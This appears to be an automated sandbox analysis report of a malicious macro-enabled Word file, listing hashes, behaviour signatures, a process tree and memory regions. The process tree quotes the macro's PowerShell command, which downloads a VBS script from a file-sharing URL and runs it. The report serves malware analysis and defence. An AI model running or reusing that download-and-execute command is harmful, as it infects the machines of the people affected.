Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    24-09-2024 05:29

General

  • Target

    ca2d1cdf7ed424c2d7cf0ef6acb4a6d697a2316b8b0bdab73b4f3450eda994f4.docm

  • Size

    112KB

  • MD5

    916af4bbb620fc412b71343c14bc65da

  • SHA1

    13972c6c8f8d121d90fd53ec6dfb634d0e382446

  • SHA256

    ca2d1cdf7ed424c2d7cf0ef6acb4a6d697a2316b8b0bdab73b4f3450eda994f4

  • SHA512

    9d4f71bbaefb57dffd57d603688732e32a811ffc3193c055f870402d5320745d2f8d48937889d51c7f4aa8f7210e60da44d46962a025e3594df11a241b97ac45

  • SSDEEP

    1536:vkcgH+VIU5s7gPgP8MDw/jlQx1JE7vReOr0l77CXXNaHsdUXSIt98iuBh/0pxG:vVgH+mU5ClwH9r0l77AnsSmy/Bh8pxG

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ca2d1cdf7ed424c2d7cf0ef6acb4a6d697a2316b8b0bdab73b4f3450eda994f4.docm"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2476
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wget https://www.4sync.com/web/directDownload/JYD4emud/IlFYYjVx.17ffb772e0a20043527d718e22ce63f3 -o test.vbs; explorer.exe test.vbs
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:864
      • C:\Windows\SysWOW64\explorer.exe
        "C:\Windows\system32\explorer.exe" test.vbs
        3⤵
        • System Location Discovery: System Language Discovery
        PID:892
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2016
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Drops file in Windows directory
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1924

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      3ba86de2ac2e345d6e8741601433525a

      SHA1

      abb39c94159d5f8c188e06d5c49f404f787b1eb9

      SHA256

      458a85d0a5c3d19bc2e6282a220fd27eb6731318a261d773fddee42ac164968f

      SHA512

      092e5b10f8baddc066b313d8903694ba774198a6a33c29065585a37dbfa7a855dfda75cef3baf70258fd5da9531556e2b04bd2501f665b564882ff12b040cbf0

    • memory/1924-25-0x0000000003A90000-0x0000000003AA0000-memory.dmp

      Filesize

      64KB

    • memory/2476-13-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2476-21-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2476-11-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2476-9-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2476-8-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2476-7-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2476-6-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2476-12-0x00000000715FD000-0x0000000071608000-memory.dmp

      Filesize

      44KB

    • memory/2476-0-0x000000002FBA1000-0x000000002FBA2000-memory.dmp

      Filesize

      4KB

    • memory/2476-5-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2476-20-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2476-19-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2476-18-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2476-17-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2476-16-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2476-14-0x0000000000750000-0x0000000000850000-memory.dmp

      Filesize

      1024KB

    • memory/2476-2-0x00000000715FD000-0x0000000071608000-memory.dmp

      Filesize

      44KB

    • memory/2476-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2476-45-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2476-46-0x00000000715FD000-0x0000000071608000-memory.dmp

      Filesize

      44KB